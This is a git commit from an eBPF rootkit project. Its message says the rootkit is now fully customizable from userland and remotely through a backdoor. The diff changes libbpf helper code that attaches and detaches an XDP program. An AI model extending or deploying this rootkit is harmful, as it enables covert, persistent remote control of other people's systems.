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Capability of attaching/detaching as many times as we want is finished. Now rootkit is fully cusotmizable from the userland (and thus remotely throught the backdoor)

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h3xduck
2022-01-02 16:02:23 -05:00
parent adaf909781
commit 40da6b300b
4 changed files with 6 additions and 36 deletions
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8
src/user/include/modules/xdp.h
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@@ -37,7 +37,8 @@ int attach_xdp_all(struct xdp_filter_bpf *skel, __u32 ifindex, __u32 flags){
// Attach loaded xdp program
skel->links.xdp_receive = bpf_program__attach_xdp(skel->progs.xdp_receive, ifindex);
err = libbpf_get_error(skel->links.xdp_receive);
err = libbpf_get_error(skel->links.xdp_receive);
if (err<0) {
fprintf(stderr, "Failed to attach XDP program\n");
return -1;
@@ -46,10 +47,9 @@ int attach_xdp_all(struct xdp_filter_bpf *skel, __u32 ifindex, __u32 flags){
return 0;
}
int detach_xdp_all(__u32 ifindex, __u32 fd, __u32 flags){
int err = bpf_set_link_xdp_fd(ifindex, fd, flags);
int detach_xdp_all(struct xdp_filter_bpf *skel){
int err = bpf_link__destroy(skel->links.xdp_receive);
if(err<0){
perror("j");
fprintf(stderr, "Failed to detach XDP program\n");
return -1;
}